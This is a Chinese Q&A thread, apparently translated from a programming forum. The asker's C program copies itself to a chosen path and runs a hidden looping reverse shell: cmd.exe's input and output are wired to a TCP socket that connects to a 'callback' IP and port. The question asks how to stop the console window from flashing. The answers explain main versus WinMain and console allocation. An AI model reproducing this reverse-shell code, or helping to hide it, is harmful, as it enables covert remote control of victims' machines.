我有一个我正在创建的程序,它有两个方面。主执行(script.exe -setup)将打开一个控制台并向用户询问多个问题,然后设置变量的答案并根据答案对机器进行调整。这是一个简单的控制台应用程序,如果编译为控制台应用程序,它可以正常工
脚本的第二部分(script.exe -socket 192.168.1.1:9000)将启动WinMain函数,然后调用套接字函数。我将套接字函数放在WinMain中的原因是它没有显示' cmd.exe' CreateProcess调用。它正在闪烁命令提示符,所以我通过使用WinMain摆脱它。这只能在编译为Win32应用程序时按预期工作,但后来我无法运行脚本的安装端。
据我所知,当编译为控制台应用程序时,它以(int main())函数开始,这就是它工作的原因。当编译为Win32时,它以(WinMain())函数开始。但是,我只需要将应用程序作为Win32应用程序从Main开始。
int main(int argc, char *argv[]) {
char filePath[150];
char fileName[30];
int portNum;
char ip[16];
char socket[23];
if (argc == 1) {
printf("Usage: File.exe setup OR File.exe -s IP:PORT");
exit(0);
} else if (strcmp(argv[1], "setup") == 0) {
printf("Doing Setup Stuff\n");
} else if (strcmp(argv[1], "-socket") == 0){
strncpy(socket, argv[2], 22);
WinMain(0,0,socket,0);
return 0;
} else {
printf("Usage: File.exe setup OR File.exe -socket IP:PORT");
exit(0);
}
printf("Desired File Location. Example: C:\\Test\n");
scanf("%149s", filePath);
CheckDirectory(filePath);
printf("\nDesired file name. Example: test.exe\n");
scanf("%29s", fileName);
getchar();
CopyNewFile(filePath, fileName, argv[0]);
printf("\nEnter callback IP:\n");
scanf("%15s", ip);
printf("\nEnter callback port:\n");
scanf("%5d", &portNum);
printf("Enter time in seconds for each callback: ");
scanf("%10d", &secs);
return 0;
}
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
char test[50];
strncpy(test, cmdline, 49);
char *ip = strtok(test, ":");
char *port = strtok(NULL, ":");
RunSocket(ip, port);
return 0;
}
void CopyNewFile(char *dir, char *fname, char *curName) {
char fullDir[300];
char file[60];
sprintf(file,"%s", curName);
sprintf(fullDir, "%s\\%s", dir, fname);
if (CopyFile(file, fullDir, FALSE)) {
printf("\nCopied new file!\n");
} else {
printf("Did not copy!");
}
}
void CheckDirectory(char *d) {
DIR* dir = opendir(d);
char answer[2];
if (dir) {
printf("Directory Exists!\n");
closedir(dir);
} else if (ENOENT == errno) {
printf("Directory does not exist. Do you want to create this directory? Y/N: ");
scanf("%s", answer);
if (strcmp(answer, "y") == 0) {
if (CreateDirectory(d, NULL)) {
printf("Created Directory!\n");
} else {
printf("Error Creating Directory!");
exit(1);
}
} else {
printf("Closing Script!");
exit(1);
}
}
}
void RunSocket(char *a, char *b) {
while(1) {
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
struct hostent *host;
host = gethostbyname(a);
strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(b));
hax.sin_addr.s_addr =inet_addr(ip_addr);
WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
Sleep(15000);
}
}
答案 0 :(得分:3)
它是Windows应用程序,然后WinMain
是用户启动点,或者是控制台应用程序,然后main
是用户启动点。您当然可以从main
拨打WinMain
,也可以从main
为您通常执行的功能分配控制台。
以下分配控制台并设置标准文件句柄:
#ifndef _WIN32_WINNT
# define _WIN32_WINNT 0x0501
#endif
#include <windows.h>
#include <wincon.h>
#include <stdio.h>
int GetConsole(void)
{
if (!AttachConsole(ATTACH_PARENT_PROCESS))
if (!AllocConsole())
return(0);
_fileno(stdout)= _fileno(fopen("CON", "w"));
_fileno(stdin) = _fileno(fopen("CON", "r"));
_fileno(stderr)= _fileno(fopen("CON", "w"));
return(1);
}
答案 1 :(得分:0)
CUI和GUI PE应用程序之间只有两个区别:
CreateProcess
将为CUI应用程序创建一个新的控制台窗口。这可以通过DETACHED_PROCESS
标记来抑制。
Cmd.exe将等待CUI应用程序,除非您使用start /wait
,否则它不会等待GUI应用程序。
main
vs WinMain
由您的开发环境控制,Windows(在ABI级别)只调用(实际)入口点函数而不带任何参数。您的编译器提供了这个简单函数与main
/ WinMain
之间的粘合剂。
您可以main
来自WinMain
WinMain
,main
来自FreeConsole
GetModuleHandle
+ GetCommandLine
+ GetStartupInfo
+ FreeConsole
。
AttachConsole
导致的短暂闪烁的控制台窗口不可接受,则必须创建GUI应用程序。你可以尝试使用调用AllocConsole
+ %errorlevel%
的GUI应用程序来破解你的方式,但结果并不完美,因为cmd.exe在打印下一个提示并更新{之前不会等待{1}}。
为了充分利用这两个方面,最佳解决方案实际上是创建两个应用程序“yourapp.com”和“yourapp.exe”。前端应用程序只是将.exe重命名为.com,服务器将是.exe。这是有效的,因为%PATHEXT%
在.exe之前有.com。